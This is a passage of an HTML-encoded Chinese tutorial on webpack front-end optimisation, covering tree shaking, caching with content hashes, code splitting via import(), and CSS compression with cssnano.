shaking</h3>\n<p>&#x5386;&#x53F2;&#x4E0A;&#xFF0C;JavaScript &#x6709;&#x8FC7;&#x591A;&#x79CD;&#x6A21;&#x5757;&#x5316;&#x6807;&#x51C6;&#xFF0C;&#x5982; CommonJS&#x3001;AMD &#x548C; ES modules&#x3002;&#x6211;&#x4EEC;&#x5728;&#x5B9E;&#x9645;&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x7684;&#x7B2C;&#x4E09;&#x65B9;&#x5E93;&#xFF0C;&#x901A;&#x5E38;&#x4F1A;&#x63D0;&#x4F9B;&#x901A;&#x8FC7; CommonJS &#x548C; ES modules &#x5BFC;&#x51FA;&#x7684;&#x4E24;&#x4E2A;&#x7248;&#x672C;&#x3002;&#x4E00;&#x4E2A;&#x5178;&#x578B;&#x7684; <code>package.json</code> &#x6587;&#x4EF6;&#xFF0C;&#x5305;&#x542B; <code>main</code> &#x548C; <code>module</code> &#x4E24;&#x4E2A;&#x5B57;&#x6BB5;&#xFF0C;&#x5206;&#x522B;&#x662F;&#x901A;&#x8FC7;&#x4E24;&#x79CD;&#x6A21;&#x5757;&#x5316;&#x6807;&#x51C6;&#x5BFC;&#x51FA;&#x7684;&#x6587;&#x4EF6;&#x5165;&#x53E3;&#x3002;webpack &#x4F18;&#x5148;&#x4F1A;&#x8BFB;&#x53D6; <code>module</code> &#x5B57;&#x6BB5;&#x8868;&#x660E;&#x7684;&#x6587;&#x4EF6;&#x5165;&#x53E3;&#x3002;&#x5F53; <code>module</code> &#x4E0D;&#x5B58;&#x5728;&#x65F6;&#xFF0C;&#x624D;&#x4F1A;&#x4ECE; <code>main</code> &#x4E2D;&#x5BFC;&#x5165;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-json\"><span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n  <span class=\"token property\">&quot;main&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;lib/index.js&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;module&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;es/index.js&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token comment\">// ...</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x7531;&#x4E8E; CommonJS &#x6807;&#x51C6;&#x5141;&#x8BB8;&#x5728;&#x4EE3;&#x7801;&#x4E2D;&#x52A8;&#x6001;&#x5BFC;&#x5165;&#x5176;&#x4ED6;&#x6A21;&#x5757;&#xFF0C;&#x4ECE;&#x800C;&#x65E0;&#x6CD5;&#x51C6;&#x786E;&#x5206;&#x6790;&#x54EA;&#x4E9B;&#x6A21;&#x5757;&#x88AB;&#x5BFC;&#x5165;&#x4E86;&#x3002;&#x4F46; ES modules &#x6807;&#x51C6;&#x7684;&#x6A21;&#x5757;&#x5BFC;&#x5165;&#x662F;&#x9759;&#x6001;&#x7684;&#xFF0C;&#x4F7F;&#x5F97;&#x6A21;&#x5757;&#x95F4;&#x4F9D;&#x8D56;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x9759;&#x6001;&#x5206;&#x6790;&#x6765;&#x66F4;&#x597D;&#x5730;&#x4F18;&#x5316;&#x4E86;&#x3002;&#x5173;&#x4E8E; ES modules &#x6807;&#x51C6;&#x65B0;&#x589E;&#x7684;&#x52A8;&#x6001;&#x5BFC;&#x5165;&#x7279;&#x6027; <code>import()</code>&#xFF0C;&#x4F1A;&#x5728;&#x540E;&#x9762;&#x7684;<a href=\"#&#x5408;&#x7406;&#x62C6;&#x5206;&#x4EE3;&#x7801;\">&#x5408;&#x7406;&#x62C6;&#x5206;&#x4EE3;&#x7801;</a>&#x7AE0;&#x8282;&#x4E2D;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#xFF0C;&#x4E0B;&#x9762;&#x5148;&#x6765;&#x770B;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x793A;&#x4F8B;&#xFF0C;&#x5047;&#x8BBE;&#x73B0;&#x5728;&#x6709;&#x4E24;&#x4E2A;&#x6587;&#x4EF6; <code>math.js</code> &#x548C; <code>index.js</code>&#xFF0C;&#x5B83;&#x4EEC;&#x7684;&#x5185;&#x5BB9;&#x5206;&#x522B;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// math.js</span>\n<span class=\"token keyword\">export</span> <span class=\"token keyword\">const</span> <span class=\"token function-variable function\">add</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">a<span class=\"token punctuation\">,</span> b</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> a <span class=\"token operator\">+</span> b\n\n<span class=\"token keyword\">export</span> <span class=\"token keyword\">const</span> <span class=\"token function-variable function\">mul</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">a<span class=\"token punctuation\">,</span> b</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> a <span class=\"token operator\">*</span> b\n</code></pre>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// index.js</span>\n<span class=\"token keyword\">import</span> <span class=\"token punctuation\">{</span>add<span class=\"token punctuation\">}</span> <span class=\"token keyword\">from</span> <span class=\"token string\">&apos;./math&apos;</span>\n\nconsole<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token function\">add</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4E0A;&#x8FF0;&#x4EE3;&#x7801;&#x4E2D;&#xFF0C;<code>mul</code> &#x51FD;&#x6570;&#x5C06;&#x4E0D;&#x4F1A;&#x51FA;&#x73B0;&#x5728;&#x6784;&#x5EFA;&#x4EA7;&#x7269;&#x4E2D;&#x3002;&#x8FD9;&#x79CD;&#x4F18;&#x5316;&#x6280;&#x672F;&#x88AB;&#x5F62;&#x8C61;&#x5730;&#x79F0;&#x4F5C; Tree shaking&#xFF08;&#x6447;&#x6811;&#xFF09;&#x3002;<code>mul</code> &#x51FD;&#x6570;&#x5C31;&#x50CF;&#x6811;&#x4E0A;&#x67AF;&#x840E;&#x7684;&#x53F6;&#x5B50;&#x4E00;&#x6837;&#xFF0C;&#x6447;&#x6811;&#x540E;&#x81EA;&#x7136;&#x5C31;&#x6389;&#x4E0B;&#x6765;&#x4E86;&#x3002;</p>\n<p>&#x5728;&#x5B9E;&#x9645;&#x9879;&#x76EE;&#x4E2D;&#xFF0C;&#x4E3A;&#x4E86;&#x6D4F;&#x89C8;&#x5668;&#x517C;&#x5BB9;&#x6027;&#x8003;&#x8651;&#xFF0C;&#x6211;&#x4EEC;&#x901A;&#x5E38;&#x4F1A;&#x4F7F;&#x7528; Babel &#x7B49;&#x7F16;&#x8BD1;&#x5668;&#x6765;&#x7F16;&#x8BD1;&#x73B0;&#x4EE3; JavaScript &#x4EE3;&#x7801;&#x3002;&#x4E3A;&#x4E86;&#x542F;&#x7528; Tree shaking&#xFF0C;&#x5E94;&#x8BE5;&#x786E;&#x4FDD;&#x7F16;&#x8BD1;&#x5668;&#x4E0D;&#x5C06; ES modules &#x8BED;&#x6CD5;&#x7F16;&#x8BD1;&#x5230;&#x5176;&#x4ED6;&#x6A21;&#x5757;&#x5316;&#x6807;&#x51C6;&#x3002;</p>\n<p>&#x90E8;&#x5206;&#x5E38;&#x7528;&#x7684;&#x7B2C;&#x4E09;&#x65B9;&#x5E93;&#x65E0;&#x6CD5;&#x4F7F;&#x7528; Tree shaking&#xFF0C;&#x901A;&#x5E38;&#x9700;&#x8981;&#x4F7F;&#x7528;&#x4E13;&#x95E8;&#x7684;&#x5DE5;&#x5177;&#x8FDB;&#x884C;&#x5904;&#x7406;&#x3002;&#x5982; <code>babel-plugin-lodash</code> &#x4F1A;&#x5BF9;&#x5F15;&#x5165;&#x4E86; <code>lodash</code> &#x7684;&#x6587;&#x4EF6;&#x8FDB;&#x884C;&#x989D;&#x5916;&#x5904;&#x7406;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5904;&#x7406;&#x524D;</span>\n<span class=\"token keyword\">import</span> _ <span class=\"token keyword\">from</span> <span class=\"token string\">&apos;lodash&apos;</span>\n<span class=\"token keyword\">import</span> <span class=\"token punctuation\">{</span> add <span class=\"token punctuation\">}</span> <span class=\"token keyword\">from</span> <span class=\"token string\">&apos;lodash/fp&apos;</span>\n\n<span class=\"token keyword\">const</span> addOne <span class=\"token operator\">=</span> <span class=\"token function\">add</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n_<span class=\"token punctuation\">.</span><span class=\"token function\">map</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> addOne<span class=\"token punctuation\">)</span>\n</code></pre>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5904;&#x7406;&#x540E;</span>\n<span class=\"token keyword\">import</span> _add <span class=\"token keyword\">from</span> <span class=\"token string\">&apos;lodash/fp/add&apos;</span>\n<span class=\"token keyword\">import</span> _map <span class=\"token keyword\">from</span> <span class=\"token string\">&apos;lodash/map&apos;</span>\n\n<span class=\"token keyword\">const</span> addOne <span class=\"token operator\">=</span> <span class=\"token function\">_add</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n<span class=\"token function\">_map</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> addOne<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5BB9;&#x6613;&#x770B;&#x51FA;&#xFF0C;&#x4E0D;&#x7ECF;&#x8FC7;&#x5904;&#x7406;&#x7684;&#x6587;&#x4EF6;&#x4F1A;&#x5F15;&#x5165;&#x6574;&#x4E2A; lodash &#x5E93;&#xFF0C;&#x8FD9;&#x4E0D;&#x662F;&#x6211;&#x4EEC;&#x60F3;&#x8981;&#x7684;&#x7ED3;&#x679C;&#x3002;&#x800C;&#x7ECF;&#x8FC7; babel-plugin-lodash &#x5904;&#x7406;&#x540E;&#xFF0C;&#x5219;&#x4EC5;&#x4F1A;&#x5F15;&#x5165;&#x6211;&#x4EEC;&#x6240;&#x9700;&#x7684;&#x4E24;&#x4E2A;&#x51FD;&#x6570;&#xFF0C;&#x5927;&#x5927;&#x51CF;&#x5C0F;&#x4E86;&#x6253;&#x5305;&#x540E;&#x7684;&#x4EE3;&#x7801;&#x4F53;&#x79EF;&#x3002;</p>\n<p>&#x5BF9;&#x4E8E;&#x53E6;&#x4E00;&#x4E2A;&#x4F53;&#x79EF;&#x8F83;&#x5927;&#x7684;&#x7B2C;&#x4E09;&#x65B9;&#x5E93; moment &#x6765;&#x8BF4;&#xFF0C;&#x4F7F;&#x7528; <code>ContextReplacementPlugin</code> &#x53EF;&#x4EE5;&#x4EC5;&#x5F15;&#x5165;&#x6211;&#x4EEC;&#x6240;&#x9700;&#x7684;&#x672C;&#x5730;&#x5316;&#x8BED;&#x8A00;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x5C06;&#x6240;&#x6709;&#x8BED;&#x8A00;&#x90FD;&#x6253;&#x5305;&#x8FDB;&#x6765;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// webpack.config.js</span>\n<span class=\"token keyword\">const</span> <span class=\"token punctuation\">{</span>ContextReplacementPlugin<span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;wbepack&apos;</span><span class=\"token punctuation\">)</span>\n\nmodule<span class=\"token punctuation\">.</span>exports <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n  plugins<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span>\n    <span class=\"token keyword\">new</span> <span class=\"token class-name\">ContextReplacementPlugin</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/moment[/\\\\]locale$/</span><span class=\"token punctuation\">,</span> <span class=\"token regex\">/zh-cn/</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">]</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"&#x542F;&#x7528;&#x957F;&#x671F;&#x7F13;&#x5B58;\"><a name=\"&#x542F;&#x7528;&#x957F;&#x671F;&#x7F13;&#x5B58;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x542F;&#x7528;&#x957F;&#x671F;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x542F;&#x7528;&#x957F;&#x671F;&#x7F13;&#x5B58;\" class=\"plugin-anchor\" href=\"#&#x542F;&#x7528;&#x957F;&#x671F;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x542F;&#x7528;&#x957F;&#x671F;&#x7F13;&#x5B58;</h3>\n<p>webpack &#x5728;&#x751F;&#x6210;&#x6253;&#x5305;&#x6587;&#x4EF6;&#x65F6;&#xFF0C;&#x53EF;&#x4EE5;&#x5728;&#x6587;&#x4EF6;&#x540D;&#x4E2D;&#x63D2;&#x5165;&#x4E00;&#x6BB5;&#x4EC5;&#x4E0E;&#x6587;&#x4EF6;&#x5185;&#x5BB9;&#x76F8;&#x5173;&#x7684;&#x54C8;&#x5E0C;&#x503C;&#x3002;&#x4EC5;&#x5F53;&#x8BE5;&#x6587;&#x4EF6;&#x66F4;&#x65B0;&#x540E;&#xFF0C;&#x7F13;&#x5B58;&#x624D;&#x4F1A;&#x5931;&#x6548;&#xFF0C;&#x8FD9;&#x6837;&#x53EF;&#x4EE5;&#x5145;&#x5206;&#x5229;&#x7528; HTTP &#x7F13;&#x5B58;&#x3002;</p>\n<p>&#x914D;&#x5408; html-webpack-plugin &#x63D2;&#x4EF6;&#x53EF;&#x4EE5;&#x5F88;&#x65B9;&#x4FBF;&#x5730;&#x5C06;&#x751F;&#x6210;&#x7684;&#x6253;&#x5305;&#x6587;&#x4EF6;&#x8DEF;&#x5F84;&#x63D2;&#x5165; HTML &#x4E2D;&#x3002;</p>\n<p>&#x6CE8;&#x610F;&#x5230; webpack &#x81EA;&#x8EAB;&#x6709;&#x4E00;&#x4E9B;&#x8FD0;&#x884C;&#x65F6;&#x7684;&#x4EE3;&#x7801;&#xFF0C;&#x5BB9;&#x6613;&#x7834;&#x574F;&#x7F13;&#x5B58;&#x6709;&#x6548;&#x6027;&#xFF0C;&#x6211;&#x4EEC;&#x5E94;&#x8BE5;&#x5C06;&#x8FD9;&#x4E9B;&#x4EE3;&#x7801;&#x5355;&#x72EC;&#x6253;&#x5305;&#x3002;&#x8FDB;&#x4E00;&#x6B65;&#x7684;&#xFF0C;&#x53EF;&#x4EE5;&#x5C06;&#x6253;&#x5305;&#x540E;&#x7684; webpack &#x8FD0;&#x884C;&#x65F6;&#x4EE3;&#x7801;&#x76F4;&#x63A5;&#x63D2;&#x5165; HTML &#x4E2D;&#xFF0C;&#x4EE5;&#x8282;&#x7701;&#x4E00;&#x6B21; HTTP &#x8BF7;&#x6C42;&#x3002;</p>\n<p>&#x6253;&#x5305;&#x6587;&#x4EF6;&#x4E2D;&#x6A21;&#x5757;&#x7684;&#x76F8;&#x4E92;&#x5F15;&#x7528;&#xFF0C;&#x90FD;&#x662F;&#x901A;&#x8FC7; webpack &#x8D4B;&#x4E88;&#x7684; id &#x6765;&#x67E5;&#x627E;&#x7684;&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A;&#x81EA;&#x589E;&#x7684;&#x8BA1;&#x6570;&#x5668;&#x3002;&#x5F53;&#x65B0;&#x589E;&#x6216;&#x5220;&#x9664;&#x67D0;&#x4E9B;&#x6A21;&#x5757;&#x65F6;&#xFF0C;&#x5BF9;&#x5E94;&#x7684; id &#x5F88;&#x53EF;&#x80FD;&#x4F1A;&#x53D1;&#x751F;&#x6539;&#x53D8;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x7834;&#x574F;&#x4E86;&#x957F;&#x671F;&#x7F13;&#x5B58;&#x3002;&#x540C;&#x6837;&#x9053;&#x7406;&#xFF0C;&#x6211;&#x4EEC;&#x5E94;&#x8BE5;&#x4F7F;&#x7528;&#x7A33;&#x5B9A;&#x7684;&#x54C8;&#x5E0C;&#x503C;&#x4F5C;&#x4E3A;&#x6A21;&#x5757;&#x7684; id&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// webpack.config.js</span>\n<span class=\"token keyword\">const</span> <span class=\"token punctuation\">{</span>HashedModuleIdsPlugin<span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;webpack&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">const</span> HtmlPlugin <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;html-webpack-plugin&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">const</span> InlineManifestPlugin <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;inline-manifest-webpack-plugin&apos;</span><span class=\"token punctuation\">)</span>\n\nmodule<span class=\"token punctuation\">.</span>exports <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  output<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    filename<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;[name].[chunkhash].js&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  optimization<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    runtimeChunk<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;single&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  plugins<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span>\n    <span class=\"token keyword\">new</span> <span class=\"token class-name\">HashedModuleIdsPlugin</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n    <span class=\"token keyword\">new</span> <span class=\"token class-name\">HtmlPlugin</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n    <span class=\"token keyword\">new</span> <span class=\"token class-name\">InlineManifestPlugin</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">]</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"&#x5408;&#x7406;&#x62C6;&#x5206;&#x4EE3;&#x7801;\"><a name=\"&#x5408;&#x7406;&#x62C6;&#x5206;&#x4EE3;&#x7801;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5408;&#x7406;&#x62C6;&#x5206;&#x4EE3;&#x7801;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5408;&#x7406;&#x62C6;&#x5206;&#x4EE3;&#x7801;\" class=\"plugin-anchor\" href=\"#&#x5408;&#x7406;&#x62C6;&#x5206;&#x4EE3;&#x7801;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5408;&#x7406;&#x62C6;&#x5206;&#x4EE3;&#x7801;</h3>\n<p>&#x6211;&#x4EEC;&#x5F80;&#x5F80;&#x4E0D;&#x9700;&#x8981;&#x5728;&#x9996;&#x5C4F;&#x4E00;&#x6B21;&#x6027;&#x52A0;&#x8F7D;&#x6240;&#x6709; JavaScript &#x4EE3;&#x7801;&#x3002;&#x4E3A;&#x4E86;&#x52A0;&#x5FEB;&#x9996;&#x5C4F;&#x5C55;&#x73B0;&#x7684;&#x901F;&#x5EA6;&#xFF0C;&#x53EF;&#x4EE5;&#x5C06;&#x5F53;&#x524D;&#x6682;&#x65F6;&#x4E0D;&#x9700;&#x8981;&#x7684;&#x4EE3;&#x7801;&#x62C6;&#x5206;&#x51FA;&#x53BB;&#x3002;webpack &#x652F;&#x6301;&#x6839;&#x636E; <code>import()</code> &#x65B9;&#x6CD5;&#x7684;&#x8C03;&#x7528;&#x5904;&#xFF0C;&#x628A;&#x5F02;&#x6B65;&#x52A0;&#x8F7D;&#x7684;&#x6A21;&#x5757;&#x62C6;&#x6210;&#x4E00;&#x4E2A;&#x72EC;&#x7ACB;&#x7684; JavaScript &#x5206;&#x7247;&#x3002;</p>\n<p>&#x5047;&#x8BBE;&#x73B0;&#x5728;&#x6709;&#x4E00;&#x4E2A;&#x9996;&#x5C4F;&#x6E32;&#x67D3;&#x7528;&#x4E0D;&#x5230;&#x7684; <code>huge-component.js</code> &#x6A21;&#x5757;&#xFF0C;&#x5176;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// huge-component.js</span>\n<span class=\"token keyword\">export</span> <span class=\"token keyword\">default</span> <span class=\"token function-variable function\">HugeComponent</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token comment\">/* ... */</span>\n</code></pre>\n<p>&#x5728;&#x9996;&#x9875;&#x5F15;&#x5165;&#x7684; <code>index.js</code> &#x6A21;&#x5757;&#x4E2D;&#xFF0C;&#x4E3A;&#x4E86;&#x4E0D;&#x9ED8;&#x8BA4;&#x5C06; <code>huge-component.js</code> &#x6A21;&#x5757;&#x5F15;&#x5165;&#x8FDB;&#x6765;&#x6253;&#x5305;&#x6210;&#x4E00;&#x4E2A;&#x5927;&#x7684;&#x4EA7;&#x7269;&#xFF0C;&#x53EF;&#x4EE5;&#x501F;&#x52A9; <code>import()</code> &#x65B9;&#x6CD5;&#x5C06; <code>huge-component.js</code> &#x6A21;&#x5757;&#x62C6;&#x5206;&#x51FA;&#x53BB;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// index.js</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token comment\">/* ... */</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">import</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;./huge-component&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\"><span class=\"token punctuation\">{</span><span class=\"token keyword\">default</span><span class=\"token punctuation\">:</span> HugeComponent<span class=\"token punctuation\">}</span></span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token comment\">/* ... */</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x4E0A;&#x8FF0;&#x4F8B;&#x5B50;&#x901A;&#x8FC7; webpack &#x6253;&#x5305;&#x540E;&#xFF0C;&#x4F1A;&#x5C06; <code>huge-component.js</code> &#x4F5C;&#x4E3A;&#x4E00;&#x4E2A;&#x6253;&#x5305;&#x65B0;&#x5165;&#x53E3;&#xFF0C;&#x62C6;&#x6210;&#x4E00;&#x4E2A;&#x72EC;&#x7ACB;&#x7684; JavaScript &#x6587;&#x4EF6;&#x3002;&#x4EC5;&#x5728; <code>if</code> &#x8BED;&#x53E5;&#x5757;&#x5185;&#x6267;&#x884C; <code>import()</code> &#x65F6;&#xFF0C;&#x624D;&#x4F1A;&#x5BF9;&#x8BE5;&#x5206;&#x7247; JavaScript &#x8D44;&#x6E90;&#x53D1;&#x9001;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#x3002;</p>\n<p>&#x5408;&#x7406;&#x62C6;&#x5206;&#x4EE3;&#x7801;&#xFF0C;&#x4E0D;&#x4EC5;&#x80FD;&#x663E;&#x8457;&#x63D0;&#x5347;&#x9996;&#x5C4F;&#x52A0;&#x8F7D;&#x6027;&#x80FD;&#xFF0C;&#x8FD8;&#x80FD;&#x83B7;&#x5F97;&#x66F4;&#x597D;&#x7684;&#x7F13;&#x5B58;&#x6548;&#x679C;&#x3002;&#x5F53;&#x4EC5;&#x4FEE;&#x6539;&#x5C11;&#x6570;&#x51E0;&#x4E2A;&#x5206;&#x7247;&#x7684;&#x4EE3;&#x7801;&#x65F6;&#xFF0C;&#x5176;&#x4ED6;&#x5206;&#x7247;&#x7684;&#x7F13;&#x5B58;&#x4ECD;&#x7136;&#x6709;&#x6548;&#x3002;</p>\n<h3 id=\"&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;_1\"><a name=\"&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;_1\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;_1\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;\" class=\"plugin-anchor\" href=\"#&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x538B;&#x7F29;&#x6587;&#x672C;&#x5185;&#x5BB9;</h3>\n<p>JavaScript &#x5728;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x4E0B;&#x9ED8;&#x8BA4;&#x5F00;&#x542F;&#x538B;&#x7F29;&#xFF0C;&#x65E0;&#x9700;&#x989D;&#x5916;&#x914D;&#x7F6E;&#x3002;&#x8FD9;&#x91CC;&#x4EE5; CSS &#x4E3A;&#x4F8B;&#xFF0C;&#x5728; webpack &#x4E2D;&#x4F7F;&#x7528; postcss-loader&#xFF0C;&#x5229;&#x7528; PostCSS &#x7684;&#x63D2;&#x4EF6; cssnano &#x53EF;&#x4EE5;&#x5B8C;&#x6210; CSS &#x7684;&#x538B;&#x7F29;&#xFF0C;&#x5E76;&#x4E14;&#x53EF;&#x4EE5;&#x989D;&#x5916;&#x4F7F;&#x7528; autoprefixer &#x5B8C;&#x6210;&#x8865;&#x5168;&#x5C5E;&#x6027;&#x524D;&#x7F00;&#x7684;&#x4EFB;&#x52A1;&#x3002;postcss-loader &#x5BF9;&#x5E94;&#x7684; <code>postcss.config.js</code> &#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// postcss.config.js</span>\nmodule<span class=\"token punctuation\">.</span>exports <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  plugins<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    autoprefixer<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n    cssnano<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n      preset<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span>\n        <span class=\"token string\">&apos;default&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n          discardComments<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n            removeAll<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span>\n          <span class=\"token punctuation\">}</span>\n        <span class=\"token punctuation\">}</span>\n      <span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n      zindex<span class=\"token punctuation\">:</span> <span class=\"token boolean\">false</span><span class=\"token punctuation\">,</span>\n      reduceIdents<span class=\"token punctuation\">:</span> <span class=\"token boolean\">false</span>\n    <span class=\"token punctuation\">}</span>\n <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5BF9;&#x4E8E;&#x5176;&#x4ED6;&#x8D44;&#x6E90;&#xFF0C;&#x4E5F;&#x4F1A;&#x6709;&#x5BF9;&#x5E94;&#x7684; loader &#x6216; plugin &#x6765;&#x5B8C;&#x6210;&#x538B;&#x7F29;&#x4EFB;&#x52A1;&#xFF0C;&#x8FD9;&#x91CC;&#x4E0D;&#x518D;&#x4E00;&#x4E00;&#x5217;&#x4E3E;&#x3002;</p>\n<h3 id=\"&#x5206;&#x6790;&#x8D44;&#x6E90;&#x4F53;&#x79EF;\"><a name=\"&#x5206;&#x6790;&#x8D44;&#x6E90;&#x4F53;&#x79EF;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5206;&#x6790;&#x8D44;&#x6E90;&#x4F53;&#x79EF;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5206;&#x6790;&#x8D44;&#x6E90;&#x4F53;&#x79EF;\" class=\"plugin-anchor\" href=\"#&#x5206;&#x6790;&#x8D44;&#x6E90;&#x4F53;&#x79EF;\"><i class=\"fa fa-link\" 